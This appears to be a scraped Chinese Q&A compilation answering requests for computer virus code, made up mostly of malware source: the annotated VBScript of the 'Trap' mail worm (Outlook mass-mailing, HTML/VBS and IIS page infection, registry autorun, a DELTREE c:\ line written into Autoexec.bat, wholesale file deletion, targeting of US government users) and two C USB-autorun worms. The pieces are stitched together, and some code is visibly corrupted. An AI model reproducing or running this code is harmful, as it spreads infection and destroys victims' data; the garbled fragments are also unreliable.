用c語言寫的著名病毒

⑴ 給個c語言病毒代碼.....要復制的....越長越好

下面就對「陷阱」的發作過程和源代碼作詳細的揭密。
病毒具有自身加密能力(使用 javaScript 編碼技術)，使得普通用戶無法看到病毒原碼，但在被感染 VBS 文件中並沒有加密，於是作為一個入口點，我非常輕松地得到所有源碼。

'@ thank you! make use of other person to get rid of an enemy, trap _2001

'這句話的意思可能是「借刀殺人」，然後是病毒名稱「陷阱」

on error resume next

dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str

dim defpath, smailc, MAX_SIZE

dim whb(), title(10)

smailc = 4

Redim whb(smailc) 』白宮相關人員郵件名單

whb(0) = "[email protected]"

whb(1) = "[email protected] "

whb(2) = "[email protected]"

whb(3) = "[email protected]"

'發送郵件的主題

title(0) = "Thanks for helping me!"

title(1) = "The police are investigating the robbery"

title(2) = "an application for a job "

title(3) = "The aspects of an application process pertinent to OSI"

title(4) = "What a pleasant weather. Why not go out for a walk?"

title(5) = "These countries have gone / been through too many wars"

title(6) = "We've fixed on the 17th of April for the wedding"

title(7) = "The wind failed and the sea returned to calmness."

title(8) = "the sitting is open!"

title(9) = ""

defpath = "C:\Readme.html" ' 病毒文件

MAX_SIZE = 100000 ' 定義傳染文件的最大尺寸

MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"

HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"

main

sub main() '主程序

on error resume next

dim w_s

w_s= WScript.ScriptFullName '得到病毒文件本身的路徑

if w_s = "" then

Err.Clear

set fso = CreateObject("Scripting.FileSystemObject") '創建文件系統對象

if getErr then '辨認病毒狀態

Randomize '初始化隨機種子

ra = int(rnd() * 7) '產生隨機數

doucment.write title(ra) ' 寫隨機內容

ExecuteMail '執行郵件狀態時的程序

else

ExecutePage '執行 WEB 頁狀態時的程序

end if

else

ExecuteVbs '執行 VBS 文件狀態時的程序

end if

end sub

Function getErr() 忽略錯誤

if Err.number<>0 then

getErr=true

Err.Clear

else

getErr=false

end if

end function

sub ExecutePage() 'WEB 頁狀態時的程序

on error resume next

dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf

Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代碼

Js_Str = GetJavaScript() ' 得到 Javascript 代碼

Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密過的腳本代碼

Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代碼

Gf

'定義病毒文件的路徑

wdsf = w2 & "Mdm.vbs"

wdsf2 = w1 & "Profile.vbs"

wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 兩個文件非常迷惑人

wdf2 = w2 & "Readme.html"

wdf3 = w2 & "system.dll"

'創建病毒文件

set vf = fso.OpenTextFile (wdf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf2, 2, true)

vf.Write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdf2, 2, true)

vf.write Html_Str

vf.close

set vf = fso.OpenTextFile (wdf3, 2, true)

vf.write Code_Str

vf.close

修改注冊表，讓病毒文件在每一次計算機啟動自動執行

Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""

Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""

SendMail ' 執行發送郵件程序

Hackpage ' 執行感染網站程序

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then '遍歷所有本地硬碟和網路共享硬碟

call SearchHTML(x & "\") '執行文件感染程序

end if

next

if TestUser then '檢查用戶

Killhe 執行刪除文件操作

else

if Month(Date) & Day(Date) = "75" then '如系統時間為 7月5日

set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) 』創建系統攻擊文件

vf.write MakeScript ("window.navigate ('c:/con/con');", false)

vf.close

Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" '自動啟動

window.navigate "c:/con/con" '立刻藍屏，利用 Windows BUG，能引起 Win9X 系統100%死機（即無法恢復的藍屏）

else '如不是7.5

if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 刪除75.htm

end if

end if

if fso.FileExists(defpath) then fso.DeleteFile defpath ' 刪除 C:\Readme.html 病毒文件

end sub

sub ExecuteMail() '郵件狀態時執行的程序

on error resume next

Vbs_Str = GetScriptCode("vbscript")

Js_Str = GetJavaScript()

Set Stl = CreateObject("Scriptlet.TypeLib") '創建 TypeLib對象

with Stl

.Reset

.Path = defpath

.Doc = MakeHtml(encrypt(Vbs_str), true)

.Write() '創建 C:\Readme.html 文件

end with

window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打開會隱藏的窗口

end sub

sub ExecuteVbs() ' 同理，如病毒文件是 VBS 時所執行的程序

on error resume next

dim x, adi, wvbs, ws, vf

set fso = CreateObject("Scripting.FileSystemObject")

set wvbs = CreateObject("WScript.Shell")

Gf

wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"

set vf = fso.OpenTextFile (w2 & "system.dll", 1)

Code_Str = vf.ReadAll()

vf.close

Hackpage

SendMail

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then

call SearchHTML(x & "\")

end if

next

if TestUser then Killhe

end sub

sub Gf() '得到系統路徑

w1=fso.GetSpecialFolder(0) & "\"

w2=fso.GetSpecialFolder(1) & "\"

end sub

function Readreg(key_str) '讀注冊表

set tmps = CreateObject("WScript.Shell")

Readreg = tmps.RegRead(key_str)

set tmps = Nothing

end function

function Writereg(key_str, Newvalue, vtype) '寫注冊表

set tmps = CreateObject("WScript.Shell")

if vtype="" then

tmps.RegWrite key_str, Newvalue

else

tmps.RegWrite key_str, Newvalue, vtype

end if

set tmps = Nothing

end function

function MakeHtml(Sbuffer, iHTML) '創建HTML 文件的完整代碼

dim ra

Randomize

ra = int(rnd() * 7)

MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _

"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _

"<" & "/BOAD><" & "/HTML>"

end Function

function MakeScript(Codestr, iHTML) '此程序是病毒進行自我加密過程,較為復雜，不再描述

if iHTML then

dim DocuWrite

DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _

"jword" & "+'\n</'" & "+'SCRIPT>');"

DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _

"nword" & "+'\n</'" & "+'SCRIPT>');"

MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _

chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _

chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _

"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"

else

MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"

end if

end function

function GetScriptCode(Languages) ' 得到不同腳本語言的代碼

dim soj

for each soj in document.scripts

if LCase(soj.Language) = Languages then

if Languages = "javascript" then

if len(soj.Text)> 200 then

else

GetScriptCode = soj.Text

exit function

end if

else

GetScriptCode = soj.Text

exit function

end if

end if

next

end function

function GetJavaScript()

GetJavaScript = GetScriptCode("javascript")

end function

function TestUser() '檢測用戶過程

on error resume next

dim keys(6), i, tmpStr, Wnet

'特定用戶關鍵詞

keys(0) = "white home"

keys(1) = "central intelligence agency"

keys(2) = "bush"

keys(3) = "american stock exchang"

keys(4) = "chief executive"

keys(5) = "usa"

TestUser = false

Set Wnet = CreateObject("WScript.Network") '創建網路對象

'下面一共3個循環，作用一樣，是檢查用戶的 Domain、用戶名和計算機名是否含有以上的5個關鍵詞語，一旦含有程序將返回」真」的條件，從而對這些用戶的文件進行瘋狂刪除。

tmpStr = LCase(Wnet.UserName) '

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.ComputerName)

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.UserDomain)

for i=0 to 4

if InStr(tmpStr, keys(i)) >0 then

TestUser=true

exit function

end if

next

Set Wnet = Nothing

end function

function SendMail() '發送文件過程

on error resume next

dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at

'首先向 OutLook 地址簿發送帶能直接感染文件的已加密的病毒代碼和HTML 附件

主題是隨機的，此過程與「歡樂時光「類似，所以不再描述
Randomize

at=fso.GetSpecialFolder(1) & "\Readme.html"

set Oa = CreateObject("Outlook.Application")

set wab = Oa.GetNameSpace("MAPI")

for j = 1 to wab.AddressLists.Count

eins = wab.AddressLists(j)

wreg=Readreg (HCUW & eins)

if (wreg="") then wreg = 1

Eaec = eins.AddressEntries.Count

if (Eaec > Int(wreg)) then

for x = 1 to Eaec

arrsm = wab.AddressEntries(x)

areg = Readreg(HCUW & arrsm)

if (areg = "") then

set fm = wab.CreateItem(0)

with fm

ra = int(rnd() * 7)

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Attachments at

.Send

Writereg HCUW & arrsm, 1, "REG_DWORD"

end with

end if

next

end if

Writereg HCUW & eins, Eaec, ""

next

'下面是對指定的用戶無條件發送大量病毒郵件, 從這一點可看出病毒作者對美國政府的極度不滿。

for j = 1 to smailc

arrsm = whb(j)

set fm = wab.CreateItem(0)

ra = int(rnd() * 7)

with fm

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Send

end with

next

set Oa = Nothing

window.setTimeout "SendMail()", 5000 '每隔 5 秒種重復發送

end function

sub SearchHTML(Path) '搜索可傳染文件的過程

on error resume next

dim pfo, psfo, pf, ps, pfi, ext

if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub

if Path <> "E:\" then exit sub

set pfo = fso.GetFolder(Path)

set psfo = pfo.SubFolders

for each ps in psfo

SearchHTML(ps.Path)

set pf = ps.Files

for each pfi in pf

ext = LCase(fso.GetExtensionName(pfi.Path))

if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '檢查文件的擴展名是否為 htm、html、plg 如是則檢查是否被感染，如未被感染則將已加密的病毒代碼插入文件頭，這樣文件一旦執行也會執行病毒代碼，而且不會影響原文件的正常執行。

if Code_Str<>"" then AddHead pfi.Path, pfi, 1

elseif ext= "vbs" then '如是 vbs 文件，則插入未加密的病毒代碼

AddHead pfi.Path,pfi, 2

end if

next

next

end sub

sub Killhe() '全盤刪除文件過程

on error resume next

dim codeText, ko,adi, kd, kh, ks,kf,kfs

codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_

"DELTREE c:\" '將刪除C盤的命令插入Autoexec.bat 中，下次開機時，刪除整個硬碟，並沒有任何提示

set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)

ko.Write vbcrlf & codeText

ko.Close

'接著立刻刪除其它盤的所有文件

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 then

set kd = fso.GetFolder(x & "\")

set kfs = kd.Files

for each kf in kfs

kf.Delete

next

set ks = kd.SubFolders

for each kh in ks

kh.Delete

next

end if

next

do while 1 '讓系統立刻死機

window.open ""

loop

end sub

sub Hackpage() ' 此過程是直接攻擊 Mircosoft IIS 伺服器主頁過程

dim fi

H = "C:\InetPut\wwwroot"

if fso.FolderExists(H) then

'判斷是否為網站，如是則將已加密的帶病毒代碼插入文件頭，從而直接傳染瀏覽該網站的用戶

set fi = fso.GetFile(H & "\index.htm")

AddHead H & "\index.htm",fi,1

end if

end sub

sub AddHead(Path, f, t) '此過程是病毒傳染文件具體過程

on error resume next

dim tso, buffer,sr

if f.size > MAX_SIZE then exit sub '傳染大小小於100K的文件

set tso = fso.OpenTextFile(Path, 1, true)

buffer = tso.ReadAll()

tso.close

if (t = 1) then

if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then

set tso = fso.OpenTextFile(Path, 2, true)

tso.Write Code_Str & vbcrlf & buffer '插入到文件頭

tso.close

end if

else

if mid(buffer, 3, 2) <> "'@" then

tso.close

sr=w2 & "user.dll"

if fso.FileExists(sr) then fso.CopyFile sr, Path

end if

end if

end sub

雖然病毒發作日已過但我們還是要小心提防病毒的變種出現。

⑵ 用c語言編寫一個計算機病毒的例子

1）：首先要知道語言的層次結構，通常會有直接使用「+」「-」「*」「%」語言都是高級語言。這些語言寫的代碼經過編譯前端編譯後生成中間代碼，最後經過編譯後端處理成目標代碼，也就是在目標平台上可執行的二進制代碼。
2）：要知道計算機能執行的只是二進制的代碼。無論是高級語言表達式，如（1+2），還是匯編語言,add
r1,r2,r3.
都要翻譯成目標平台的二進制代碼。
如果你學過微型計算機原理，應該知道一個匯編指令，最終要執行還得用處理器的微指令來表達。
3）：最後這些微指令轉化成電信號，控制處理器內的眾多的與或非門，來實現你想要做的運算。

⑶ C語言編寫的病毒有哪些

由於現在大多數的所謂的黑客都沒有真正的技術,他們的木馬都是利用別人編寫的木馬生成程序生成的,只要一點就好了!~~現在流行的木馬有vb、e語言、pascal(注意delphy不是一門語言,而是pascal語言的編輯器,就像c++跟vc++之間的關系)等,大量用他們編寫的原因並不是他們有多好,只不過是他們簡單易學!所以只要你有技術,用什麼程序寫不重要,條條大路通羅馬!

⑷ 如何用C語言寫病毒

在讀本程序前請保證不用此程序進行違法活動,否則,請馬上離開.最基本的病毒.
本病毒的功能:
1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件
2.在C、D、E盤中生成自動運行文件
3.注冊c:\windows\system\svchost.exe，使其開機自動運行
4.在C:\windows\system下生成隱蔽DLL文件
5.病毒在執行後具有相聯復制能力本病毒類似普通U盤病毒雛形，具備自我復制、運行能力。以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過
請保存為SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注冊SVCHOST.exe,讓其在啟動時運行 */
return 0;
} 如果你想來狠點;把安全模式的注冊表項也刪除了.讓它進不了安全模式;

警告:不會修改注冊表的人;別運行本程序...

⑸ 用C語言編寫的病毒代碼

一個c病毒源代碼
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//計時器

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程
//獲取盤符
TCHAR FirstDriveFromMask (ULONG unitmask);

//病毒從U盤啟動時用到的函數
BOOL FileExist(TCHAR *path);//測試一個文件是否存在
BOOL GetSelfPath(TCHAR *path);//Get the virus's path
//BOOL FindU(TCHAR *u);//check whether u exist, u[2]
BOOL GetSysPath(TCHAR *path);//得到系統路徑
BOOL CopyToSysAndSet(HWND hwnd);//復制自身到系統目錄和設置
BOOL SetFileAttrib(TCHAR *path);//設置path所指文件的屬性
BOOL RegAutoRun(TCHAR *path);//修改注冊表，實現自啟動

//從C盤啟動時用到函數
BOOL CopyToUAndSet();//復制自己到U盤
BOOL CreateAutoRunFile(TCHAR *path);//在U盤下生成autorun.inf文件
BOOL FindSelf();//測試自己是否在已經執行了

//global variable
TCHAR szExePath[MAX_PATH];//the virus's path
TCHAR U[2];//保存U盤的盤符
TCHAR szSysPath[MAX_PATH];//system path

//constant
const TCHAR *szExeName="bbbbb.exe";
const TCHAR *szSysName="aaaaa.exe";
const TCHAR *szAutoRunFile="AutoRun.inf";

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[]=TEXT ("UUUUUU");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;

wndclass.style =0;
wndclass.lpfnWndProc =WndProc;
wndclass.cbClsExtra =0;
wndclass.cbWndExtra =0;
wndclass.hInstance =hInstance;
wndclass.hIcon =0;
wndclass.hCursor =0;
wndclass.hbrBackground =0;
wndclass.lpszMenuName =NULL;
wndclass.lpszClassName =szAppName;
if (!RegisterClass (&wndclass))
{
MessageBox (NULL,TEXT("Program requires Windows NT!"),
szAppName, MB_ICONERROR);
return 0;
}
hwnd = CreateWindow (szAppName, NULL,
WS_DISABLED,
0, 0,
0, 0,
NULL, NULL, hInstance, NULL);
while (GetMessage(&msg, NULL, 0, 0))
{
TranslateMessage (&msg);
DispatchMessage (&msg);
}
return msg.wParam;
}

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
switch(wParam)
{
case DBT_DEVICEARRIVAL: //插入
if (lpdb -> dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
U[0]=FirstDriveFromMask(lpdbv ->dbcv_unitmask);//得到u盤盤符
//MessageBox(0,U,"Notice!",MB_OK);
CopyToUAndSet();//拷到u盤
}
break;
case DBT_DEVICEREMOVECOMPLETE: //設備刪除
break;
}
return LRESULT();
}

LRESULT CALLBACK WndProc (HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_Create: //處理一些要下面要用到的全局變數
U[1]=':';
GetSysPath(szSysPath);//得到系統路徑
SetTimer(hwnd,TIMER,5000,0);//啟動計時器
GetSelfPath(szExePath);//得到自身的路徑
return 0;
case WM_TIMER: //timer message
if(szExePath[0]==szSysPath[0]) //如果是系統盤啟動的
SendMessage(hwnd,WM_DEVICECHANGE,0,0);//檢測有沒有插入設備消息
else
{
CopyToSysAndSet(hwnd);//拷到系統盤並自啟動
}
return 0;
case WM_DEVICECHANGE:
OnDeviceChange(hwnd,wParam,lParam);
return 0;
case WM_DESTROY:
KillTimer(hwnd,TIMER);
PostQuitMessage(0);
return 0;
}
return DefWindowProc(hwnd, message, wParam, lParam);
}

TCHAR FirstDriveFromMask(ULONG unitmask)
{
char i;
for (i = 0; i < 26; ++i)
{
if (unitmask & 0x1)//看該驅動器的狀態是否發生了變化
break;
unitmask = unitmask >> 1;
}
return (i + 'A');
}

BOOL GetSelfPath(TCHAR *path)
{
if(GetMoleFileName(NULL,path,MAX_PATH))//得到程序自身的目錄
{
return TRUE;
}
else
return FALSE;
}

BOOL GetSysPath(TCHAR *path)
{
return GetSystemDirectory(path,MAX_PATH);//得到系統路徑
}

BOOL CopyToSysAndSet(HWND hwnd)
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,szSysPath);
lstrcat(szPath,"\\");
lstrcat(szPath,szSysName);//得到復制到系統目錄的完整目錄
if(!FileExist(szPath))//檢測系統目錄是否已經存在復制的文件
{
CopyFile(szExePath,szPath,FALSE);
RegAutoRun(szPath);
return SetFileAttrib(szPath);
}
else
{
if(!FindSelf())//檢測自己有沒有運行
{
//MessageBox(0,szExePath,szPath,MB_OK);
WinExec(szPath,SW_HIDE);//沒有就執行
SendMessage(hwnd,WM_CLOSE,0,0);//結束自己
}
}
return FALSE;
}

BOOL FileExist(TCHAR *path)//檢測PATH所指的路徑的文件是否存在
{
int result;
result=PathFileExists(path);
if(result==1)
return TRUE;
else
return FALSE;
}

BOOL SetFileAttrib(TCHAR *path)
{
return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);
}

BOOL RegAutoRun(TCHAR *path)//修改注冊表實現自啟動
{
HKEY hkey;
DWORD v=0;
RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey);
RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));
if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",
&hkey)==ERROR_SUCCESS)
{
RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));
RegCloseKey(hkey);
return TRUE;
}
else
return FALSE;
}
BOOL CopyToUAndSet()
{
TCHAR szPath[MAX_PATH];
lstrcpy(szPath,U);
lstrcat(szPath,"\\");
lstrcat(szPath,szExeName);//得到指向U盤的完整目錄

TCHAR szAutoFile[MAX_PATH];
lstrcpy(szAutoFile,U);
lstrcat(szAutoFile,"\\");
lstrcat(szAutoFile,szAutoRunFile);

if(!FileExist(szAutoFile))
{
CreateAutoRunFile(szAutoFile);
SetFileAttrib(szAutoFile);
}
if(!FileExist(szPath))
{
CopyFile(szExePath,szPath,FALSE);
return SetFileAttrib(szPath);
}
return FALSE;
}

BOOL CreateAutoRunFile(TCHAR *path) //在U盤下創建一個autorun.inf文件
{
ofstream fout;
fout.open(path);
if(fout)
{
fout<<"[AutoRun]"<<endl;
fout<<"open="<<szExeName<<" e"<<endl;
fout<<"shellexecute="<<szExeName<<" e"<<endl;
fout<<"shell\\Auto\\command="<<szExeName<<" e"<<endl;
fout<<"shell=Auto"<<endl;
fout.close();
return TRUE;
}
return FALSE;
}

BOOL FindSelf(){
PROCESSENTRY32 pe;
HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
pe.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hShot,&pe)){
do{
if(lstrcmp(pe.szExeFile,szSysName)==0)
{
CloseHandle(hShot);
return TRUE;
}
}while(Process32Next(hShot,&pe));
}
CloseHandle(hShot);
return FALSE;
} 隱藏窗口：ShowWindow(false); （#include <windows.h>)
將程序暫停一秒後繼續執行：sleep(1000); （同上）
刪除文件：system("del 文件的路徑");
運行文件：system("文件的路徑");
system函數（#include <iostream>)
復制文件：詳見remove函數（#include <process.h>）

-----------------------------------------------------------
一個不錯的病毒完整源代碼
#include <windows.h>
#include <Shlwapi.h>
#include <fstream.h>
#include <TlHelp32.h>
#include <Dbt.h>

#pragma comment(lib,"shlwapi.lib")

#define TIMER 1//計時器

//function
LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口過程
//獲取盤符
TCHAR FirstDriveFromMask (ULONG unitmask);